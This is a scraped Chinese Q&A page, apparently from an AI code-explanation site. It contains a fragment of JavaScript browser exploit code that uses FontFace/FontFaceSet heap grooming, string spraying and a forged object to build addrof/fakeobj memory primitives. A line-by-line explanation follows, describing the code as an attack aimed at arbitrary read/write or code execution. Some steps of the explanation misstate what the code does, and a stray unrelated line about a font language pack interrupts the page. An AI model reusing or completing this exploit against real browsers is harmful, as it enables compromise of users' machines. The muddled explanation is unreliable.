//setup for addrof/fakeobj //in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double //in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue union_i[0] = 0x10000; union_i[1] = 0; //account for nan-boxing arrays[257][1] = {}; //force it to still be jsvalue-array not double-array arrays[257][0] = union_f[0]; union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0; union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000; arrays[256][i] = union_f[0]; //hammer time! pp_s = ''; pp_s += ptrToString(56); for (var i = 0; i < 12; i++) pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE); var fake_s = ''; fake_s += '0000'; //padding for 8-byte alignment fake_s += ptrToString(INVALID_POINTER); //never dereferenced fake_s += ptrToString(butterfly); //hammer target fake_s += '\u0000\u0000\u0000\u0000\u0022\u0000\u0000\u0000'; //length=34 var ffs7_args = []; for (var i = 0; i < 12; i++) ffs7_args.push(bad_fonts[guessed_font + i]); ffs7_args.push(good_font); var ffs8_args = [bad_fonts[guessed_font + 12]]; for (var i = 0; i < 5; i++) ffs8_args.push(new FontFace(HAMMER_FONT_NAME, "url(data:text/html,)", {})); for (var i = 0; i < HAMMER_NSTRINGS; i++) mkString(HASHMAP_BUCKET, pp_s); ffses.ffs7 = new FontFaceSet(ffs7_args); mkString(HASHMAP_BUCKET, pp_s); ffses.ffs8 = new FontFaceSet(ffs8_args); var post_ffs = mkString(HASHMAP_BUCKET, fake_s); needfix.push(post_ffs);继续解释以上代码?
时间: 2024-04-18 22:33:37 浏览: 208
语言包 解压后需要将font放到/usr/share下;font-rpm是字符集软件离线安装插件
这段代码是在之前的基础上进行了进一步的攻击,用于实现addrof/fakeobj功能。
首先,代码设置了一些值,用于构建`addrof`和`fakeobj`的准备工作。
接下来,将0x10000赋值给`union_i`数组的第一个元素,将0赋值给第二个元素。这是为了构建一个jsvalue,用于后续的操作。
然后,将`arrays[257][1]`赋值为空对象,以确保它仍然是一个jsvalue数组而不是double数组。将`union_f[0]`赋值给`arrays[257][0]`。
接着,将`(guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0`赋值给`union_i`数组的第一个元素,将`(guessed_addr - guessed_addr % 0x100000000) / 0x100000000`赋值给第二个元素。最后,将`union_f[0]`的值赋值给`arrays[256][i]`。
然后,代码开始进行"hammer time"操作。
首先,定义了一个名为`pp_s`的字符串,并将一些指针转换为字符串并添加到其中。这些指针包括一个常量56,以及从`guessed_addr + i * SIZEOF_CSS_FONT_FACE`中获取的一系列指针。
接下来,定义了一个名为`fake_s`的字符串,并填充了一些特定的值。其中包括一些填充用于对齐的零字节,一个指向`butterfly`的指针,以及长度为34的字符串。
然后,定义了一个名为`ffs7_args`的空数组,并通过循环将`bad_fonts[guessed_font + i]`添加到其中。最后,将`good_font`添加到`ffs7_args`数组中。
接着,定义了一个名为`ffs8_args`的数组,并将`bad_fonts[guessed_font + 12]`添加到其中。然后,通过循环将5个新创建的`FontFace`对象添加到`ffs8_args`数组中。
然后,通过循环调用`mkString`函数,创建了`HAMMER_NSTRINGS`个长度为`HASHMAP_BUCKET`的字符串,并传入之前生成的`pp_s`作为参数。
接下来,创建了一个名为`ffs7`的新的`FontFaceSet`对象,并将之前创建的`ffs7_args`数组作为参数传入。
然后,通过调用`mkString`函数生成一个字符串,并将其添加到`pp_s`中。接着,创建了一个名为`ffs8`的新的`FontFaceSet`对象,并将之前创建的`ffs8_args`数组作为参数传入。
最后,通过调用`mkString`函数生成一个字符串,并将其添加到`fake_s`中。将生成的字符串添加到`needfix`数组中。
该段代码的目的是构建特定的数据结构和字符串,并创建了两个新的`FontFaceSet`对象,以实现对浏览器的进一步攻击。具体的攻击方式可能包括内存错误漏洞的利用,以执行任意代码或实现任意读写等操作。
阅读全文